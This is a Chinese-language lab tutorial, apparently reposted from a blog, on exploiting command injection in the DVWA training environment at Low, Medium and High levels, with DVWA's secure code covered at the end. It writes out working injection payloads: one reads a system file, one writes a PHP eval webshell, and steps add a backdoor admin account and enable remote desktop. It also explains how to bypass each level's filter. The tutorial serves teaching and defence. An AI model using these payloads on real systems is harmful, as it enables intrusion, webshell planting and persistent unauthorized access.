0


DVWA靶场01-系统命令执行漏洞利用及防护(Low/Medium/Hight)

如果对您有帮助,动动鼠标点赞收藏哦!你们的点赞收藏就是对我持续创作最大的鼓励!

1、windows环境下的管道符

2、Linux环境下的管道符

3、Windows和Linux共有的管道符

接下来我们在靶场DVWA环境下为演示命令执行漏洞

01-Low

Low级别的命令执行,没有对输入做任何的过滤,可以直接通过管道符来拼接命令,达到命令注入的目的。

01.1 任意文件读取

type命令是windows环境下用于读取文件内容的命令,类似linux下的cat命令,构造命令执行命令:

ip=127.0.0.1 | type c:\windows\system32\drivers\etc\hosts & Submit=Submit

01.2 小马实现Getshell

01.2.1 获取网站路径

01.2.2 写入一句话木马

ip=127.0.0.1 | echo "<?php @eval($_POST[666]);?>"  > C:\phpStudy\WWW\vul.php & Submit=Submit

01.2.3 连接一句话木马

01.3 设置后门

1、使用net user /add admin possw0rd新建一个用户

2、将新建的用户admin加入到管理员用户组

3、开启远程桌面服务

1|wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

4、远程桌面连接back/p0ssw0rd进制控制

02-Medium

通过管道符拼接命令发现,在Medium级别中"&"和"&&"这两个管道符被过滤掉了,而"|"和"||"却可以正常使用,知道了可以使用"||"来拼接命令,那么利用方法同Low中所展示那样

注意:在使用"||"时,只有前一条命令执行失败才会执行后续命令,因此需构造格式错误的ip

03-Hight

老规矩还是逐个尝试管道符进行命令拼接,当使用"|"拼接命令的时候,发现可以执行成功,但是若使用"| "(|后面有个空格)的时候则会被过滤掉,如下:

为了印证我们的判断,来看看high级别的源码:

04-impossible(安全代码)重要

从Low-Medium-High漏洞严重程度逐级降低,其原理主要是不断填充黑名单覆盖率来降低命令执行漏洞风险。此外DVWA还给我们给出了安全的防护代码,如下所示:

1、引入token机制

token是由服务端生成的一个随机数,当客户端请求页面时,服务端首先生成随机数token并将其存放在session之中,然后将token随页面返回给客户端,一般情况都是通过隐藏表单的形式传递给客户端,在DVWA impossible中查看源代码:

这样,客户端在提交表单的时候会将此token携带上,后端服务器再进行验证, 使用BP抓包验证:

2、验证输入命令的合法性

通过explode()函数将ip地址分割为4部分,并且对每部分都进行验证,只有每部分都是int时才是合法的ip地址,从而避免在执行ping x.x.x.x时被拼接命令而造成命令执行漏洞

标签: 安全 web安全

本文转载自: https://blog.csdn.net/li20132273/article/details/127795967
版权归原作者 AkangBoy 所有, 如有侵权,请联系我们删除。

“DVWA靶场01-系统命令执行漏洞利用及防护(Low/Medium/Hight)”的评论:

还没有评论